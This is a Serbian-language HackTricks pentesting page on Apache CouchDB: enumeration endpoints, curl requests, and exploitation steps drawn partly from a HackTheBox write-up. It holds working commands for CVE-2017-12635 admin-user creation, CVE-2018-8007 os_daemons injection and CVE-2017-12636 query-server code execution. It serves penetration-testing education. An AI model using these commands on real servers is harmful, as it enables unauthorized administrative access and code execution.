mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
221 lines
16 KiB
Markdown
221 lines
16 KiB
Markdown
# 5984,6984 - Pentesting CouchDB
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## **Osnovne informacije**
|
|
|
|
**CouchDB** je svestran i moćan **baza podataka orijentisana na dokumente** koja organizuje podatke koristeći **strukturu mapa ključ-vrednost** unutar svakog **dokumenta**. Polja unutar dokumenta mogu biti predstavljena kao **ključ/vrednost parovi, liste ili mape**, pružajući fleksibilnost u skladištenju i preuzimanju podataka.
|
|
|
|
Svaki **dokument** koji se čuva u CouchDB dobija **jedinstveni identifikator** (`_id`) na nivou dokumenta. Pored toga, svaka izmena koja se napravi i sačuva u bazi podataka dobija **broj revizije** (`_rev`). Ovaj broj revizije omogućava efikasno **praćenje i upravljanje promenama**, olakšavajući preuzimanje i sinhronizaciju podataka unutar baze podataka.
|
|
|
|
**Podrazumevani port:** 5984(http), 6984(https)
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
5984/tcp open unknown syn-ack
|
|
```
|
|
## **Automatska Enumeracija**
|
|
```bash
|
|
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
|
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
|
```
|
|
## Ručna Enumeracija
|
|
|
|
### Baner
|
|
```
|
|
curl http://IP:5984/
|
|
```
|
|
Ovo izdaje GET zahtev ka instaliranoj CouchDB instanci. Odgovor bi trebao izgledati otprilike kao jedan od sledećih:
|
|
```bash
|
|
{"couchdb":"Welcome","version":"0.10.1"}
|
|
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
|
```
|
|
> [!NOTE]
|
|
> Imajte na umu da ako pristupate root-u couchdb i dobijate `401 Unauthorized` sa nečim poput: `{"error":"unauthorized","reason":"Authentication required."}` **nećete moći da pristupite** baneru ili bilo kojem drugom kraju.
|
|
|
|
### Info Enumeration
|
|
|
|
Ovo su krajevi gde možete pristupiti sa **GET** zahtevom i izvući neke zanimljive informacije. Možete pronaći [**više krajeva i detaljnije opise u couchdb dokumentaciji**](https://docs.couchdb.org/en/latest/api/index.html).
|
|
|
|
- **`/_active_tasks`** Lista aktivnih zadataka, uključujući tip zadatka, ime, status i ID procesa.
|
|
- **`/_all_dbs`** Vraća listu svih baza podataka u CouchDB instanci.
|
|
- \*\*`/_cluster_setup`\*\* Vraća status čvora ili klastera, prema čarobnjaku za podešavanje klastera.
|
|
- **`/_db_updates`** Vraća listu svih događaja u bazi podataka u CouchDB instanci. Postojanje baze podataka `_global_changes` je neophodno za korišćenje ovog kraja.
|
|
- **`/_membership`** Prikazuje čvorove koji su deo klastera kao `cluster_nodes`. Polje `all_nodes` prikazuje sve čvorove za koje ovaj čvor zna, uključujući one koji su deo klastera.
|
|
- **`/_scheduler/jobs`** Lista zadataka replikacije. Svaki opis zadatka uključuje informacije o izvoru i odredištu, ID replikacije, istoriju nedavnih događaja i nekoliko drugih stvari.
|
|
- **`/_scheduler/docs`** Lista stanja dokumenata replikacije. Uključuje informacije o svim dokumentima, čak i u `completed` i `failed` stanjima. Za svaki dokument vraća ID dokumenta, bazu podataka, ID replikacije, izvor i odredište, i druge informacije.
|
|
- **`/_scheduler/docs/{replicator_db}`**
|
|
- **`/_scheduler/docs/{replicator_db}/{docid}`**
|
|
- **`/_node/{node-name}`** Krajnja tačka `/_node/{node-name}` može se koristiti za potvrdu imena Erlang čvora servera koji obrađuje zahtev. Ovo je najkorisnije kada pristupate `/_node/_local` da biste dobili ove informacije.
|
|
- **`/_node/{node-name}/_stats`** Resurs `_stats` vraća JSON objekat koji sadrži statistiku za pokrenuti server. Literalni string `_local` služi kao alias za lokalno ime čvora, tako da se za sve URL-ove statistike, `{node-name}` može zameniti sa `_local`, da bi se interagovalo sa statistikom lokalnog čvora.
|
|
- **`/_node/{node-name}/_system`** Resurs \_system vraća JSON objekat koji sadrži razne sistemske statistike za pokrenuti server\_.\_ Možete koristiti \_\_`_local` kao {node-name} da dobijete informacije o trenutnom čvoru.
|
|
- **`/_node/{node-name}/_restart`**
|
|
- **`/_up`** Potvrđuje da je server aktivan, radi i spreman da odgovori na zahteve. Ako je [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` ili `nolb`, krajnja tačka će vratiti 404 odgovor.
|
|
- \*\*`/_uuids`\*\* Zahteva jedan ili više Univerzalno Jedinstvenih Identifikatora (UUID) iz CouchDB instance.
|
|
- \*\*`/_reshard`\*\* Vraća broj završenih, neuspešnih, aktivnih, zaustavljenih i ukupnih zadataka zajedno sa stanjem reshardinga na klasteru.
|
|
|
|
Više zanimljivih informacija može se izvući kao što je objašnjeno ovde: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
|
|
|
### **Database List**
|
|
```
|
|
curl -X GET http://IP:5984/_all_dbs
|
|
```
|
|
Ako taj zahtev **odgovara sa 401 neautorizovano**, onda su vam potrebne **validne akreditive** da biste pristupili bazi podataka:
|
|
```
|
|
curl -X GET http://user:password@IP:5984/_all_dbs
|
|
```
|
|
Da biste pronašli važeće akreditive, mogli biste **pokušati** [**bruteforce the service**](../generic-hacking/brute-force.md#couchdb).
|
|
|
|
Ovo je **primer** couchdb **odgovora** kada imate **dovoljno privilegija** da listate baze podataka (To je samo lista db-ova):
|
|
```bash
|
|
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
|
```
|
|
### Informacije o bazi podataka
|
|
|
|
Možete dobiti neke informacije o bazi podataka (kao što su broj fajlova i veličine) pristupanjem imenu baze podataka:
|
|
```bash
|
|
curl http://IP:5984/<database>
|
|
curl http://localhost:5984/simpsons
|
|
#Example response:
|
|
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
|
```
|
|
### **Lista dokumenata**
|
|
|
|
Nabrojite svaki unos unutar baze podataka
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/_all_docs
|
|
curl http://localhost:5984/simpsons/_all_docs
|
|
#Example response:
|
|
{"total_rows":7,"offset":0,"rows":[
|
|
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
|
|
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
|
|
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
|
|
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
|
|
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
|
|
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
|
|
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
|
]}
|
|
```
|
|
### **Pročitaj dokument**
|
|
|
|
Pročitaj sadržaj dokumenta unutar baze podataka:
|
|
```bash
|
|
curl -X GET http://IP:5984/{dbname}/{id}
|
|
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|
#Example response:
|
|
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
|
```
|
|
## CouchDB eskalacija privilegija [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
|
|
|
Zahvaljujući razlikama između Erlang i JavaScript JSON parsera, mogli biste **napraviti admin korisnika** sa kredencijalima `hacktricks:hacktricks` sa sledećim zahtevom:
|
|
```bash
|
|
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
|
```
|
|
[**Više informacija o ovoj ranjivosti ovde**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
|
|
|
## CouchDB RCE
|
|
|
|
### **Pregled sigurnosti Erlang kolačića**
|
|
|
|
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
U dokumentaciji CouchDB, posebno u odeljku koji se odnosi na postavljanje klastera ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), raspravlja se o korišćenju portova od strane CouchDB u klasterskom režimu. Pominje se da se, kao u samostalnom režimu, koristi port `5984`. Pored toga, port `5986` je za node-lokalne API-je, a što je važno, Erlang zahteva TCP port `4369` za Erlang Port Mapper Daemon (EPMD), koji olakšava komunikaciju između nodova unutar Erlang klastera. Ova konfiguracija formira mrežu u kojoj je svaki nod međusobno povezan sa svim ostalim nodovima.
|
|
|
|
Ključna sigurnosna preporuka se ističe u vezi sa portom `4369`. Ako je ovaj port dostupan preko Interneta ili bilo koje nepouzdane mreže, sigurnost sistema se u velikoj meri oslanja na jedinstveni identifikator poznat kao "kolačić." Ovaj kolačić deluje kao zaštita. Na primer, u datoj listi procesa, može se primetiti kolačić nazvan "monster", što ukazuje na njegovu operativnu ulogu u okviru sigurnosnog sistema.
|
|
```
|
|
www-data@canape:/$ ps aux | grep couchdb
|
|
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
|
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
|
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
|
```
|
|
Za one koji su zainteresovani za razumevanje kako se ovaj "kolačić" može iskoristiti za Remote Code Execution (RCE) u kontekstu Erlang sistema, dostupna je posvećena sekcija za dalju lektiru. Ona detaljno opisuje metodologije za korišćenje Erlang kolačića na neovlašćen način kako bi se postigla kontrola nad sistemima. Možete [**istražiti detaljan vodič o zloupotrebi Erlang kolačića za RCE ovde**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce).
|
|
|
|
### **Iskorišćavanje CVE-2018-8007 kroz modifikaciju local.ini**
|
|
|
|
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
Nedavno otkrivena ranjivost, CVE-2018-8007, koja utiče na Apache CouchDB, istražena je, otkrivajući da iskorišćavanje zahteva prava za pisanje na `local.ini` datoteku. Iako nije direktno primenljivo na inicijalni ciljni sistem zbog bezbednosnih ograničenja, izvršene su modifikacije kako bi se omogućio pristup za pisanje na `local.ini` datoteku u svrhu istraživanja. Detaljni koraci i primeri koda su navedeni u nastavku, prikazujući proces.
|
|
|
|
Prvo, okruženje se priprema osiguravajući da je `local.ini` datoteka zapisiva, što se proverava listanjem dozvola:
|
|
```bash
|
|
root@canape:/home/homer/etc# ls -l
|
|
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
|
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
|
|
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
|
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
|
```
|
|
Da bi se iskoristila ranjivost, izvršava se curl komanda, koja cilja `cors/origins` konfiguraciju u `local.ini`. Ovo ubacuje novi izvor zajedno sa dodatnim komandama pod `[os_daemons]` sekcijom, sa ciljem izvršavanja proizvoljnog koda:
|
|
```bash
|
|
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
|
```
|
|
Naknadna verifikacija pokazuje injektovanu konfiguraciju u `local.ini`, upoređujući je sa rezervnom kopijom kako bi se istakle promene:
|
|
```bash
|
|
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|
119,124d118
|
|
< [cors]
|
|
< origins = 0xdf
|
|
< [os_daemons]
|
|
< test_daemon = /usr/bin/touch /tmp/0xdf
|
|
```
|
|
Prvobitno, očekivana datoteka (`/tmp/0xdf`) ne postoji, što ukazuje na to da injektovana komanda još nije izvršena. Dalja istraga otkriva da su procesi povezani sa CouchDB u radu, uključujući jedan koji bi potencijalno mogao izvršiti injektovanu komandu:
|
|
```bash
|
|
root@canape:/home/homer/bin# ps aux | grep couch
|
|
```
|
|
Prekidom identifikovanog CouchDB procesa i omogućavanjem sistemu da ga automatski ponovo pokrene, pokreće se izvršenje injektovane komande, što je potvrđeno postojanjem prethodno nedostajuće datoteke:
|
|
```bash
|
|
root@canape:/home/homer/etc# kill 711
|
|
root@canape:/home/homer/etc# ls /tmp/0xdf
|
|
/tmp/0xdf
|
|
```
|
|
Ova eksploracija potvrđuje izvodljivost eksploatacije CVE-2018-8007 pod specifičnim uslovima, posebno zahtevom za zapisivim pristupom `local.ini` datoteci. Pruženi primeri koda i proceduralni koraci nude jasan vodič za replikaciju eksploata u kontrolisanom okruženju.
|
|
|
|
Za više detalja o CVE-2018-8007, pogledajte savetovanje od mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
|
|
|
### **Istraživanje CVE-2017-12636 sa dozvolama za pisanje na local.ini**
|
|
|
|
Primer [odavde](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
|
|
|
Ranljivost poznata kao CVE-2017-12636 je istražena, koja omogućava izvršavanje koda putem CouchDB procesa, iako specifične konfiguracije mogu sprečiti njenu eksploataciju. I pored brojnih dokaza o konceptu (POC) dostupnih na mreži, potrebne su prilagodbe za eksploataciju ranjivosti na CouchDB verziji 2, koja se razlikuje od uobičajeno ciljanih verzija 1.x. Početni koraci uključuju verifikaciju verzije CouchDB i potvrđivanje odsustva očekivane putanje servera za upite:
|
|
```bash
|
|
curl http://localhost:5984
|
|
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
|
```
|
|
Da bi se prilagodio CouchDB verziji 2.0, koristi se novi put:
|
|
```bash
|
|
curl 'http://0xdf:df@localhost:5984/_membership'
|
|
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
|
```
|
|
Pokušaji dodavanja i pozivanja novog servera za upite naišli su na greške vezane za dozvole, što je naznačeno sledećim izlazom:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Dalja istraga je otkrila probleme sa dozvolama za `local.ini` datoteku, koja nije mogla da se piše. Modifikovanjem dozvola datoteke sa root ili homer pristupom, postalo je moguće nastaviti:
|
|
```bash
|
|
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
|
chmod 666 /home/homer/etc/local.ini
|
|
```
|
|
Naknadni pokušaji dodavanja servera za upite su uspeli, što je potvrđeno odsustvom poruka o grešci u odgovoru. Uspješna modifikacija `local.ini` datoteke je potvrđena kroz poređenje datoteka:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
|
```
|
|
Proces se nastavio kreiranjem baze podataka i dokumenta, nakon čega je usledio pokušaj izvršavanja koda putem prilagođenog prikaza mapiranja na novonadded server za upite:
|
|
```bash
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
|
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
|
```
|
|
A [**rezime**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) sa alternativnim payload-om pruža dodatne uvide u eksploataciju CVE-2017-12636 pod specifičnim uslovima. **Korisni resursi** za eksploataciju ove ranjivosti uključuju:
|
|
|
|
- [POC exploit kod](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
|
- [Unos u Exploit Database](https://www.exploit-db.com/exploits/44913/)
|
|
|
|
## Shodan
|
|
|
|
- `port:5984 couchdb`
|
|
|
|
## Reference
|
|
|
|
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
|
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|